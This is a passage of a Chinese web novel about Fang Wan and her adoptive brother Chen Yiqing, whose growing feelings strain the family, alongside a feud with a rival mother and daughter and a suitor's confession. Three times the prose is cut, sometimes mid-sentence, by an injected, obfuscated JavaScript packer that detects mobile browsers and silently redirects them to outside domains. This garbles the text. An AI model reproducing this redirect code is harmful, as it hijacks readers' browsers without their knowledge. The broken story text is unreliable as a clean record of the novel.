他们从小一起穿连体裤长大的,自方晚有记忆开始,陈亦青就一直陪在身边。他给她做饭,叫她起床,替她洗袜子和贴身衣物, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14534386|154001||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他在这个家的时间比她在还长,他怎么可能不是她哥? 但万一……万一真的像辛重所说的那样呢? 他没开玩笑。 他在试探她。 试探她,如果他们不是兄妹,她又会对他有怎么样的感情。 方晚内心打起了鼓,但还是很冷静地说:“辛重,我头一次觉得你这么不专业。” 辛重说:“这和能力无关,只是出于一个正常男人的直觉。” 辛重严肃地说:“方小姐,您可以质疑我的侦查能力,但请不要质疑我的性别。” “……好了,闭嘴了,买单。” -- 生日宴过后的两天,陈亦青像个没事人,每天正常循规蹈矩地生活。 和往常一样,暑假期间在公司实习。每天两点一线,基本就在公司和家往返。 他和方晚照常见面,打招呼,吃饭,逗趣。 奇怪的是,方晚看他的眼神多了几分诡异的情愫。 吃过饭,方晚扔下一句“我吃饱了”便匆匆上楼。 陈亦青站在小叶簕竹边,耐心地擦拭着叶片。 她表情很正常,不太自然的步子却出卖了她。 陈亦青在心底微微叹了口气,他忽然有些后悔了,或许那天他就不该问那些问题。 他默不作声地收回视线。 而如此细微的动作,还是被陈海生捕捉到了。 陈海生看了眼楼梯转角处的方晚,又看了眼陈亦青。 联想两个人最近奇怪的反应,心里像是有了某种答案。 陈海生:“你跟你妹妹说了你的事儿?” “没有。” “那她怎么这么奇怪?” “不知道。” “不知道?这家里要是连你都不了解方晚,还能有谁了解?” 陈亦青放下绒布,他淡定地走回去,拎起牛奶杯。 语气微讽,“原来爸也清楚。” “……”陈海生愣了愣。 空气忽然变得有些尴尬,陈海生静了会,又说:“陈亦青,爸爸选择告诉你这件事的真相,是我觉得,你有知情权。” “而且你都这个岁数了,应该有一定的承受能力了,也拎得清轻重。” 陈亦青嗯了声,“您放心,我知道什么该做,什么不该做。” “真的吗?”陈海生话锋一转,“亦青,你喜欢方晚吗?” “……” 话音刚落,陈亦青手里即将放到桌子上的杯子一晃,直勾勾地栽了下去。 玻璃杯底砸在桌面上,发出一阵清脆的噪响。 陈海生见状,心底某种未经证实的怀疑像是得到了肯定。 陈海生严肃道:“陈亦青,我想我有义务提醒你,她是你的妹妹。” “即便你们两个没有血缘关系,她也依旧是你妹妹。灼灼从小就把你当哥哥看待,在她心里,你是她的长辈,你们就是亲人。” “要是让她知道你对她有别的感情,你觉得她会怎么看待你呢?” 牛奶撒了一部份,陈亦青拿过纸巾慢慢擦拭。 他的指头濡湿了,心里也像下了一场毛毛雨。 怎么看待。 她会怎么看待呢? 从她这段时间的反应来看,似乎很抗拒接受这个事实。 想想也是,如果方晚真的知道他那些肮脏龌龊的心思,恐怕只会觉得他是个卑劣的小人。 他心术不正,居然会对自己朝夕相处的妹妹产生了异样的情愫……即便他早就知道他们不是亲兄妹,即便他是在她成年后才渐渐站在一个男人的角度欣赏她,她也接受不了吧。 陈亦青用力地擦拭污渍,手背青筋一根一根地突起。 “我想灼灼不会接受的。” 陈海生:“而且男人应该以事业为重,不要沉迷于感情。你要知道,只要你有钱了,什么女人找不到呢?” “你现在的任务就是好好学习,好好实习,以后接手家里的产业和我一起把公司做大做强,其他的什么都不要想。” 陈海生滔滔不绝地说着,期间陈亦青一句话也没有回应。 桌面被擦得反光,陈海生以为他在认同自己,正准备倾囊相授时,陈亦青忽然丢掉纸巾,“可是,爸。” “当初你认识妈的时候,不也身无分文吗?” 陈海生愣了愣,先前陈亦青的讽刺对他都无足轻重,唯独这句像是扎破了他心底的气球。 陈海生的脸色一点一点沉了下去,“你说什么?” “没什么。”陈亦青站起来,“您说的话我收到了,再见,爸。” 10.我哥 陈海生怎么说他都无所谓,唯独触碰到家人这条底线他便无法容忍。 什么女人,什么得不得得到。那是他尊敬的妈妈和亲爱的妹妹,他不许陈海生这样称呼她们。 陈亦青抓着车钥匙往外走,尖锐的四角晃荡不安,已经硌出了清晰的痕迹。 他不用回头也猜得到陈海生现在的表情有多难看。 他摁了下开锁键,汽车前灯闪了闪,他握住门把向外一拉。 有种莫名的力量趋势他抬头看。 方晚正站在落地窗前看他。 她听到了他们吵架,但不知道具体内容。 她看他的眼神颇为迷茫,像被困在黑暗里的羔羊四处找寻开关,可撞上的瞬间,她又向后躲开了。 陈亦青腕骨微微用力。 他想到了刚刚陈海生所说的。 这个满嘴仁义道德的男人,或许每句话都别有目的,不是出自于真心。 有句话却很对。 即便他们两个没有血缘作为纽带,兄妹这层关系仍是他们之间无法跨越的鸿沟。 他们以这个身份相处了十多年,方晚一直把他当哥哥的看待。他循环往复的试探游戏成了笑话,甚至在这场游戏里,只有他一个人心乱如麻。 那天晚上,方晚问他。 今年生日他许了什么愿望。 陈亦青不是个迷信的人,往常如果方晚想知道,他必定如实交代。 他的愿望和她有关,每一年都是。 但在开口的刹那,陈亦青居然蠢笨地想起方洋说过的,骗小孩的话。 ——“亦青,愿望说出口就不灵了哦。” -- 目送陈亦青离开很远,方晚才慢慢走出来。 她听到了陈亦青和陈海生在争执,但具体是什么内容也没听清,只能依稀捕捉到哥哥说“我会好好考虑的”云云。 考虑什么呢?陈亦青怎么会和陈海生吵起架来? 难道也是因为乔蓉的事儿? 那天那件事过后,方晚就若有若无地和他保持距离。一方面是陈亦青不喜欢她掺和大人的事,被他知道她还在忙着和乔蓉斗法,哥肯定会生气。 一方面是她心里很乱,不知道怎么处理她和陈亦青这段关系。 无心的玩笑最具真实性。遑论陈亦青自始至终都没承认过他在开玩笑。 正思索着,辛重打来电话。 她接起来。 “喂,方小姐。”辛重说,“上次您叫我们查的陈海生的近期行程,又找到了别的线索。” “不过不知道和外遇的事情有没有瓜葛,但我想您是委托人,还是有必要通知您的。” 方晚说:“什么事儿?” “我们查到在6月19号的时候,陈海生曾经带着您的哥哥去过民政局。” 方晚啊了声,“我哥?陈亦青?” “是的。” “他们去民政局干什么?” “不清楚,只知道他们带了好几份资料进去,出来的时候你哥哥手上又拿了红本出来。” “?” 方晚一听更迷惑了。 她社会经验浅薄,提起民政局,首先想到的就是结婚登记,养老慈善什么的。 他们两个大老爷们可是父子,陈海生带陈亦青去那儿总不可能是登记结婚吧? 联想到刚刚两人剑拔弩张吵架的样子,方晚的心就越来越不安,难道他们有什么事儿瞒着她? 辛重:“目前知道的就这么多了,您要是有什么线索的话,也可以提供给我们。” “好,谢谢。” 说完就挂断电话了。 方晚握着手机在房间里来回踱步,思绪像一团杂乱毛线,像理却又不知道从哪儿理起。 手机一阵嗡鸣,有人发来短信。 【乔舟宁】:见一面,聊聊。 看到这位来信人,方晚下意识地想要删掉。 眼见乔舟宁又发来一个咖啡厅的地址,盯着那串熟悉的地址,方晚想了想,回了个“好。” 嗯,或许,他们也能聊聊。 — 方晚收拾了一番就出门了。 刚拉开大门,猛地撞见正倚在车旁的陈亦青。 陈亦青站在阳光底下,颀长的双腿被晨曦拉得颀长,像一条蛇,向前逶迤。 他还穿着今天晨跑时穿的短袖,黑色的,圆领挂在锁骨附近,胸膛微微鼓起,烈日之下显得整个人莫名禁欲。 随着他的靠近,那条黑蛇也牢牢地含住她。 方晚吓了一跳,想退后,但为时已晚,又只好硬着头皮迎上去,“哥。” 陈亦青望着她走来,开门见山到:“你在躲我吗?” 他的声音很好听,烈日里,平铺直叙的语气却让她不寒而栗。 陈亦青很少会有这么直白的时候,他常常隐匿自己的情绪,不会放大一丝一毫。 更不会像现在一样,堵着她,追问一个答案。 方晚开始怀念以前,最近的陈亦青好奇怪,像变了个人。 她不习惯这种感觉。不习惯因为他的问题或是出现心跳加速。 方晚只好心虚地笑笑,“你说什么呢哥哥,当然没有。” 陈亦青微微睐眼,他没有揭穿刚刚撞见她在落地窗前的动作,目光上下打量了一圈,稍稍在她脸上停留片刻。 他慢慢地,又走近了一点。 气氛变得有些难捱,方晚能感受到他身上好闻的木质香,沉重的呼吸。 以及,心跳。 她分不清到底是谁的。 这巨大的心跳声像两根手指。 霸道地掰开她的嘴,然后压在她的舌头上,肆意妄为地捣弄腔壁。 津水好多,她快要承受不住了。 方晚吞咽着,清了清嗓子,主动打破僵局。 “哥,你怎么还没去公司?”方晚说,“都八点了,小心迟到。” 陈亦青提醒,“今天周六。” “哦……周六。”高考结束后她都忘了周末这种事儿了。 看陈亦青的态度,似乎早已淡忘那天的事儿。 也是,他估计也就随口一问,她这么当真干嘛? 陈亦青怎么可能真有那方面的心思?如果真有,怎么可能还能如此自如地站在她面前? 她只是被提问了这么一句就已经紧张得不行,更何况他这个当事人呢? 疯了。 她干嘛要把辛重那花花公子的话放心上? 方晚在心底无声地长舒一口气,果然有些事情要当面讲清楚,不然一个人深夜思考不免又发散成各种形态。 陈亦青没有多为难她,“你要去哪儿?” “……和朋友吃饭。”方晚随便扯了个谎。她不想告诉陈亦青自己是和乔舟宁见面,他知道他们关系不好,见面准掐架。 要是被陈亦青知道她是专程去找乔舟宁的,估计又是“以德报怨”那套,不准她去了。 想通过后方晚那团包袱也自然丢开了:“对了,哥,你一会儿有空吗?” “有空,怎么了?” “有空的话能不能让我搭个顺风车。”方晚说,“这样我也省得打车了。” 陈亦青嗯了声,“专程的,上车吧。” 陈亦青替她拉开副驾驶,方晚颅顶贴着男人的手心,身体滑进副驾驶。 车内并不热,一直保持着刚刚好的17度。 不太好的就是陈亦青这人实在没什么年轻人的样子,居然在听新闻而不是音乐。 她系好安全带,忍不住把陈亦青的新闻给切了。 “哥,你每天听这些新闻不无聊吗?我换首歌行不?” “换吧。”陈亦青的车也出发了。 方晚调出音乐软件,放了首陈奕迅的《岁月如歌》。 “爱上了看见你如何不懂谦卑 去讲心中理想不会俗气……” 陈奕迅的声音听上去自带故事感,消减了不少这段路程的枯燥。 今天周六,路上难免川流不息。 不少人全家出动,带着小孩到处溜达。 方晚把脑袋抵在玻璃窗上,窗面震动不停,带着少女脸上的婴儿肥也在颤抖。 她呆呆地望着他们。 陈亦青从后视镜里扫到她的目光,问到:“你们这次一共有几个人?” “唔……五个吧。”方晚随口一说。五个其实已经不少了,要是只说有一两个,估计陈亦青还会让她一个一个说出来。 陈亦青若有所思地望着前路,轿车驶上高架桥,前方的路被堵死了。 桥上堵,桥下也堵。 方晚有点搞不清,陈亦青干嘛上高架?距离都差不多的,何必换到一个更堵的地儿去? 陈亦青岔开话题,“这么多人,都是女生吗?” “没,还有周川柏。” “周川柏?”陈亦青自顾自地念了遍这个名字。 “嗯。”方晚收回视线,转过脸来朝陈亦青笑了下,“怎么?我感觉哥哥好像经常有意无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14559099|154001||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意地提到周川柏呢。” 陈亦青实话实说:“因为我觉得他会是你喜欢的类型。” “?” 这句话让方晚失去表情管理,还没出声,脸上的五官已经自动挤出“啊”这个字来。 陈亦青:“干嘛这个表情?” 他顿了一秒,“真喜欢?” “没,我只是很奇怪哥干嘛突然这么说。”方晚叹了口气,“他看上去会是我喜欢的类型吗?唔……其实吧,哥,我也不知道我喜欢什么样的人。” “周川柏他人确实挺好,没有那些纨绔子弟的公子哥气质,也不傲,除了爱玩爱喝酒以外,没什么太大的缺点。做朋友不错,平时还总帮衬着我。” “哥,你不知道,其实上次你过生日的时候我们两个吵架了。” 陈亦青双手握住方向盘,“为什么?” “因为他胡说八道,提到了我不想聊的事儿。”方晚一滞,突然回忆起了那晚。 他们吵架的源头是什么呢?好像是因为陈亦青吧。 因为周川柏一句莫名其妙的“你的眼里好像只有你哥”,两个人便互相冷嘲热讽起来。 好吧,其实只有她单方面地反驳。 周川柏当场就解释道歉了,事后每天给她发短信,说他那天喝了点酒,神志不清才乱说的。 陈亦青盯着她因为欲言又止而微微张开的嘴唇,她的唇上覆盖着一层淡淡的唇彩,衬得更加娇艳欲滴。 陈亦青咽了咽,“说下去。” “也没什么好说的了。后来我想了想,或许他说的也有一定道理,只是当时我不愿意承认罢了。”方晚没甚所谓地耸耸肩,语气很平静。 她当然不愿告诉陈亦青,毕竟这场争执的中心就是他。她可以相当潇洒地承认她是个变态,但不喜欢别人曲解他们的感情。 仔细想想,她当时的反应太激烈了。 周川柏只是随口一句她就联想到男女情爱上去。 就像辛重也是随口一说,她也当真那样。 陈亦青是哥哥,哥哥就是哥哥,她不会对他产生任何绮念。 反过来,陈亦青也是。 她最近应该少看点那些莫名其妙的骨.科小说了。以前初中的时候看过几个galgame改的动漫,她幼小的心灵受到了极大的冲击,从此一发不可收拾,经常搜来看。 这。 这,你……我…… 怎么会这样?这俩兄妹在干嘛? 这哥真该死啊,居然对自己妹妹下得去手! …… 救命。 打住吧!!这也太可怕!怎么能在玄关干这种事儿?亲兄妹之间禁止□□!绝对不可以! 方晚一边强烈谴责,一边一页一页地滑下去。或许是自己也有哥哥,他们也都在同一处学校念书的缘故,她总是忍不住代入陈亦青的脸。 但只想了一秒马上就退出了。 因为,陈亦青突然出现在身后。 陈亦青铁青着脸,掀开她的被子把手机拿走。他为人古板,别说是这种题材,就连这种游戏类型他都接受不了。 他没收她的手机,好长一段时间都不准她玩。 方晚是个倔脾气,越不让她干嘛,她越想干嘛。她躲着看,偷着看,借朋友的电脑来看。无所不用其极,甚至成年后拿到身份证的第一反应就是跑网吧去看。 想到昨晚看的细节,方晚的脸颊越来越红润。她闭了闭眼,暗自发誓今晚一定不能再熬夜了。 陈亦青则盯着她古怪的表情,眸色一寸一寸地黯下去。 原来,她这么在乎那个男生吗…… “你们和好了吗?” 方晚点点头:“和好了。” “……是么。” 音乐有些大声,方晚没听出他是什么语调,“他给我发了个短信道歉我就接受了。本来也不是什么大问题,当时我情绪不好,对他发了火,我也有责任。” “而且以后我和周川柏可能还会上一个大学吧,上次去他家玩的时候,一起估了分,我们两个分数差不多,应该都能上A大。 想想未来的校友关系,外加咱们两家人以后还要经常见面,总不好闹僵。” 说完方晚还扭过脸,笑嘻嘻地朝陈亦青邀功,“怎么样,哥,我是不是很宽宏大量,深明大义……嘿嘿,这些都是你教我的哦。” “做得很好吧!哎,我真是太优……” 话才说到一半,陈亦青晦暗的嗓音突然插入:“灼灼,我们一起去留学吧。” 11.我哥 方晚还没沾沾自喜多久就被某人摁住了。 她本来以为告诉陈亦青这些能获得他的赞赏,没想到满心欢喜迎来的竟是这样的意外。 方晚愣了愣,像是没听清,“你说什么?” 陈亦青以手抵唇,“我打算出国念研究生,不在国内读书了。” “可你之前不是说,你不打算深造,准备直接进公司吗?” “我改主意了。”陈亦青说。 “……” 方晚深吸一口气,她抬手掀开安全杆,紧紧握住。 明明已经没再倚靠车窗,身体却还在颤抖。 这种奇妙的窒息感和困惑感再度爆发,和前几天他问她,如果他不是她哥时的感觉一模一样。 陈亦青怎么了?怎么又突然说这些话? 这次还不是以假设的口吻,近乎命令。 “申请资料,语言成绩,都准备好了。” 陈亦青顿了一秒,“包括你的。” 他仿佛在等她的答案,但说完后立刻将视线挪到前路。 前方还是红灯,今天不知道怎的,红灯的时间格外漫长。 挪回后也不再偏移,挡风玻璃上映出两枚人影,隐隐约约的,像飘摇的烛火,各自都在盯着幻影发呆。 方晚联想到了辛重说的,试探性道:“是爸要求的吗?” 他手里拿的那一沓资料就是申请材料吗? “不是,爸还不知道,是我问的。”陈亦青说。 方晚有些迟疑地,“可是我英语不好,考雅思托福要花很多时间。” “没关系,我教你。” “可是想申请国外的学校还要考什么SAT……什么ALEVEL吧?我什么都没考过。” “没关系,可以复读一年或是用高考成绩申请预科。” “可是……可是……” 陈亦青把一切都想得很周到,按理来说她没有拒绝的余地。 可这种完美却让她非常不适。 方晚两只手交叉,紧张地揉来揉去,“可是我对国外没兴趣。外公外婆,我的朋友,他们都在国内。” “外公年纪大了,最近又生病,要是我就这么走了,他们怎么办?而且我一个人在那边该有多无聊啊。” “不是还有我吗。”陈亦青喉咙一紧,“有我,还不够吗?” 方晚欲言又止,“不是不够,而是……” “方晚,你担心他们,怎么不关心关心我呢?” “我也是你哥。” 陈亦青终于忍不住了,他音量拔高,苍白的手背青筋爆起,声线似乎还有些颤抖。 方晚显然没料到他会是这样的反应,她僵在原地,陈亦青像被戳爆的气球,砰的一声炸开后又熄火了。 沉默持续。 空气变得粘稠,湿重。 阳光晕在玻璃上,也发生了畸变。 其实从一上车,方晚就觉得有哪里不对劲。 且不说陈亦青刻意在门口堵她,单说见面之前他倚在车边发呆的行为就足够诡异了。 陈亦青平时不是一个爱发呆的人,他做事严谨,讲究效率,每走一步都会提前做好规划。不可能会松松垮垮地抵着车,更不可能浪费一分一秒的时间。 而且平时的他也从来不会跟她大声说话,更不会向她发脾气。 像出国留学这样的大事他居然能捱到这刻才告知她。 到底发生了什么? 过了好一会,陈亦青率先打破僵局,“对不起。” “我不该对你大声说话。” “我只是想要一个答案,一个好,或者不好的答案。” 陈亦青说:“灼灼,你能给我个明确的选择吗?” 方晚笃定道:“嗯,我不想去。” “我想留在国内。” 她思考了一定时间,可对于陈亦青来说,仓促得像是下意识的决定。 陈亦青像吞了块石头,胃里又冷又硬:“……为什么?” “哥,你不明白,你适应能力好,在哪儿都行。但我不一样。” “我成绩不好,也不喜欢学习。比起去到这么远的地方,我更想留在国内,待在外公外婆身边。” 方晚微笑,探出手,拍拍陈亦青的肩膀。 “不过,哥哥,不管你去哪儿,做什么选择我都支持你。” “祝你前程似锦,岁岁无恙。” 她尊重他。 她理解他每一个选择,决定,以及愿望。 她的哥哥是一只高大的鹰,有着和她毫无关联,更远大的理想。 虽然她从小在他身边,就像只雏鸟,依赖他,贴紧他。 但也不得不学会,离开他。 他们不一样的。 方晚努力地牵起唇角,她笑时眼睛会自动弯成一轮镰月。 她说得这么诚恳,真心。 和他这样的人比起来,不知道要高尚多少倍。 他目睹少女的手从自己的肩膀上脱落,消失的重量却压到了他的心脏。 陈亦青有点呼吸不过来,下意识地扯了扯领口。 这么一抓却扑空了,陈亦青顿了顿,他居然忘了,他今天没有穿西装维持大人的形象。 嘟嘟。 前方亮起绿灯,后面有车在催。 陈亦青抓紧方向盘,汽车跟着拥挤的人流向前挪动,他们消失在炽热的风里。 -- 抵达咖啡馆的时候中午十二点。 方晚收拾包,“哥,我先走了。” “你现在要会回家吗?还是去哪儿?” “不知道。”陈亦青说,“到处逛逛吧。” 方晚点点头,“行,那我就不打扰你了。” 说罢方晚下车,拉开车门,迎面而来的是六月的烈阳。 A市是南方城市,全年气候宜人,夏天也要比其他地区来得早些。 方晚撑开伞,一直等到离开很久才敢打开手机。微信里充满了周川柏的问候。 自从他们和好后两个人一直没见面,周川柏人快疯了,但他知道方晚不喜欢粘人的男生,所以一直保持着不远不近的距离,今天才该怯生生地提一句“要不要一起出去逛逛?” 方晚想了会,这才慢悠悠地回了个地址。 她比预计的时间迟了点,乔舟宁很早就到了。 身边还坐了个同伴,对方也是他们学校的。 风波过后,她似乎瘦了很多。网上舆论就是这样,支持你的时候宝宝宝宝叫个不停,踩你的时候更是能用唾沫星子淹死人。 乔舟宁本来就很在意外人的评价,每次一打开某书就能被精准推送她的相关帖子,她简直快气疯了。 同伴:“宁宁,方晚怎么还没到啊?” “我哪知道,她那个人就是这样无赖,做什么全凭喜好,迟到更是经常的事儿。”乔舟宁气愤地翻了个白眼,延长甲磕在屏幕上,发出嘈杂的“哒哒哒”声。 同伴小心翼翼地,“好吧,我听说你们两个最近吵架了?” “你还……写了长文给她道歉?” 一提到这个,乔舟宁的脸顿时红了,她气呼呼的,“还不是她逼我的。你又不是不知道,方晚仗着背后有她哥和周川柏撑腰,经常威逼利诱。” “我哪得罪得起她那种大小姐,肯定她说什么我就做什么啊。” “周川柏跟她撑腰??嚯,好家伙。话说我还挺好奇的,周川柏和她到底什么关系啊,怎么总护着她?” 乔舟宁咬牙切齿,“没什么关系,她一天一天就吊着周川柏。” “我草,方晚这么会的吗?看不出来啊。” “那肯定啊。要真能这么容易看出来,她能装好几年不被发现?” 乔舟宁冷哼:“俗话说得好,知人知面不知心,你别看方晚平时一脸岁月静好的样儿,私底下指不定玩成什么样了。你是没看到那天在酒吧的时候她装醉,周川柏好心过来关心她,她就要黏到周川柏身上了!要不是周川柏教养好,早就……” 乔舟宁还要说下去,同伴握住她的手背,拼命使眼色。 她没注意到,准备继续。 身后覆来一层黑影,熟悉的声线从背后传来,“乔舟宁,你还真是一点记性都不长啊。” 乔舟宁一惊,猛地回头,对上方晚冷若冰霜的脸。 想到上次,乔舟宁连忙把手里的咖啡攥紧,方晚一瞧更是忍俊不禁。 同伴还帮着说话:“方晚,你这次又想干嘛?” “你自己做了亏心事还不让人说了是吧?打人算什么本事?有本事咱们摊开了讲啊。” 方晚冷笑,“你又是哪根葱?” “你知道你的主人是什么德行吗就跟着在这儿叫唤。” 咖啡馆人很多,不少人都侧目欣赏这场闹剧。 同伴被盯得双颊通红,咬着唇没说话。 “方晚,你放尊重点。”乔舟宁怒吼道,“你说我可以,说我朋友干什么?” 方晚笑了,“现在这么仗义,你朋友知道你在背后连她坏话也说吗?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14573850|154001||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 同伴一愣,有些难以置信地,“什么?” “乔舟宁,这是真的吗?” 乔舟宁急了:“当然是假的!阿源你别被她骗了!她就想挑拨离间咱们,你别忘了她用这个手段骗了多少人,我和周川柏闹掰也是……” “宁宁,你在干什么?!” 乔舟宁还没说完,便听到乔蓉的声音。 她机械地转过头,对上乔蓉愠怒的视线。 乔蓉迅速走过来,把她拽出咖啡厅,当着方晚的面给了她一巴掌。 啪! 一声清脆的响声后,乔舟宁的脸狼狈地歪到一边。 乔蓉也没想到会见到这样一幕,今天方晚给她发信息约她见面,她还纳闷方晚又要搞什么幺蛾子,没想到到了现场却看到了自己女儿在发疯。 乔蓉气急了,“乔舟宁!我跟你多少次了不要再闹了,你为什么就是不听?” 乔舟宁哭了,“妈妈,我……” “好了,你别说了。”乔蓉深吸一口气,对着方晚满怀歉意的,“抱歉,方小姐。” “是我教女无方才导致宁宁变成现在这样的,我替她向您道歉。” “道歉?乔秘书,我都原谅她多少次了。” 方晚注视着她,“可每次原谅好像都不见她改呢。” 乔蓉忍气吞声:“您说的是,对不起。” 方晚抱着双臂,“都说小孩是父母的镜子,你说,乔舟宁到底是跟谁学的?” 乔蓉说:“我的问题。都是我平时太纵容她了。宁宁是个可怜孩子,从小她爸爸就抛弃我们母女俩,所以我对她也就不免宽松了些,才导致宁宁今日的行为。” “我知道宁宁做的事太过分,但我相信方小姐善解人意,应该能理解一个母亲含辛茹苦地把小孩拉扯大又多困难。” 乔蓉说着也哽咽了,她紧紧地握着乔舟宁的手,完全一副护犊情深的模样。 这一瞬间,方晚居然幻视方洋。 方晚攥着手,“够了,你也不用演戏了。” “别在我面前秀你俩的母女情。乔秘书,你与其想着法的刺激我,还不如多勾引勾引我爸。” 方晚笑了,“抓紧时间,我爸最喜欢的可是儿子哦。” 乔蓉一愣,脸色迅速地由红转白。 从方晚的讽刺中,她读到了方晚知道她没有怀孕这件事。 那些母婴的衣服都是她买来刺激陈海生的,她知道陈海生一直想再要一个儿子,但方洋去世才多久,要是现在就续弦估计不光老丈人不同意,还会被世人冠上陈世美的名头。 她不像方洋那样有背景,只能一步一步慢慢来。 所以乔蓉就买来这些衣服天天在陈海生面前洗脑,告诉他如果他们的儿子穿上这些衣服该有多英俊,玩这款游戏该有多动脑,将来他陈海生的儿子一定很聪明。 眼看陈海生都要动摇了,没想到被方晚撞见了。乔蓉干脆一不做二不休,直接在她面前示威。 她早晚都是要进门的,还能被一个小丫头阻挠了不成? 这丫头还敢欺负她女儿,她可不得警告一番? 想是这么想,但嘴上不可能说出来。乔蓉没说话,脸上依旧那副温柔可人的表情。 方晚看得恶心,甩手就走。 -- 走出商场没多远,方晚就撞见一直默默等候的周川柏。 她眼睛红了一圈,明明知道那两母女是在故意演戏恶心她,她还是忍不住上当了。 人是情感动物,有时候会违背理性做一些感性的事儿,就像刚才乔蓉做的,且不论心,光是那一套组合拳就足够让方晚想到了方洋。 如果方洋还在的话,应该也会这样不分对错地维护她吧。 方晚鼻子一酸,眼眶胀痛到无以复加。 周川柏看出她情绪不对劲,把原本准备好的两张电影票重新塞了回去。 他替她撑伞,“没事吧?怎么了?” “当然没事。”方晚把脸别开,声音有点哽咽。 周川柏心里一阵痛,方晚什么性子他很清楚,她不想说他也不会勉强她,他默默陪在她身边就好。 周川柏微微俯身,两指抵着干净的纸巾擦拭她眼角的泪花。 纸巾在光滑的皮肤表面摩挲,沁湿过后,指腹与少女的面孔紧紧粘黏,几乎无缝贴在一起。 周川柏的动作很温柔,轻得让少女几乎感觉不到重量。 某人却深深感受到了。 从未离开的陈亦青坐在车里,默默注视着他们。 12.我哥 知道方晚心情不好,所以周川柏带她去了她喜欢的饭店,还看了最近不错的电影。 这期间她的状态一直很沉默,不像平常那么活泼好动,连吃爆米花都没什么力气。 看的是爱情片,周川柏包场了,电影院里空空荡荡,只有他们俩。 周川柏揉了揉虎口,坦白说,他现在心痛又难过。 看到方晚受这么大的委屈,他也跟着愤怒,想恶狠狠地惩处那两母女,但是教养以及家庭绝对不会允许。 周父是个很严格的人,方晚再怎么说也只是个普通朋友,和他没有一点关系。周父要是知道他利用资源去帮助方晚肯定会生气。 可他也想和她有关系啊。 但她不愿意。 那天吵完架他就一直在反省,这么多年,身边莺莺燕燕不少,他自认为还算了解女生,但就是摸不透方晚的心思。 从小时候她替自己出头开始,他就一直很喜欢她,为了试探她的心意,还和其中一两个在一起过。 可不管他怎么做,告白也好,玩笑也好,方晚都不当一回事。他谈恋爱她送上祝福,他想分手她还来劝和……她的眼里从来没有过他。 爱情是两个人的游戏,他们之间只有他一个人自娱自乐。 想到这儿周川柏的心又揪着痛了下。 电影播到尾声,男女主终于贡献了第一幕吻戏。 周川柏看着她,“方晚,我想问你件事。” “那天我跟你说的,你想的怎么样了?” 方晚眯了眯眼,因为刚刚哭过,桃花眼水盈盈的,泛着淡粉的肿。 周川柏看她不说话,心里更慌了,“我知道现在说这个不对,但我真的……真的真的很喜欢你。” “从初中开始我就一直喜欢你……我想保护你,想照顾你。如果你和我在一起,我什么都可以给你。 “钱,感情都可以。” “我保证你不会再受到这样的委屈。” 周川柏信誓旦旦地说着,手心因为紧张而微微出汗。 方晚盯着他,不知道在想什么。 周川柏以为她会像平时那样讥讽他,已经做好了心理准备。 方晚却说:“我知道。” “但是周川柏,你真的喜欢我吗?” 周川柏一愣,“什么?” “喜欢不是交易,我不会向你索取什么,你也不用保证会给我什么。” “真正喜欢一个人的时候,出发点不会是交易。利益可以套牢别人,但吸引不了我。” 电影院里亮起了灯,视野明朗。 方晚说:“电影结束了,我们这段时间还是不要联系了,各自冷静一下吧。” -- 陈亦青倚着椅背,目送他们从饭店出来,又去了商场里的电影院。 这电影很长,有三个小时零两分钟。 陈亦青一直等待着,泡在暗处,余光却瞥见那串贝壳吊坠。 这段时间太忙了,他居然忙到忘记用擦银布擦拭。 链子表面染上一层微薄的黑,不再亮洁如新。 陈亦青弯下腰,抽屉咔哒一声倒下去,东西也跟着蹦了出来。原本整齐的物件现在全乱了,想找的东西近在咫尺他也看不到,烦躁地拨来拨去。 好不容易找到,强迫症让他没法对凌乱视而不见,于是陈亦青沉着脸,把烂摊子收拾干净,让它们各归其位。 他深吸一口气,用擦银布包住银链,用力而仔细地揩拭。 一下,两下。 握住贝壳的另一只手,此刻却微不可闻地颤抖起来。 十一点时,陈亦青见到了他们。 他抛开链子,慢慢坐直了身体,视线中,周川柏替她拉开车门,准备送她回家。 方晚的脸上看不出喜乐,但他这个妹妹是个乐天派,大多数情况下,面无表情也意味着心情不错。 陈亦青下意识地想要踩下油门跟上去,前灯亮了,车里显示屏也冒起了红光。 晦暗的世界一下子被点亮,远处那两个人也是照进他黑暗的光源。 他们同样耀眼,同样有让人羡慕的人生。 以及,真真实实存在的家人。 陈亦青默了会,最终还是放弃了。 -- 回到家,陈海生破天荒允许他进入家里的书房。 书房前有个很大的落地窗,同样可以看清楼下的故事。 譬如现在,陈海生邀请他一起观赏,方晚和周川柏在家门口谈话。 陈海生站在他身后,“你看到了吗,亦青?” “这才是灼灼应该依赖的人。” 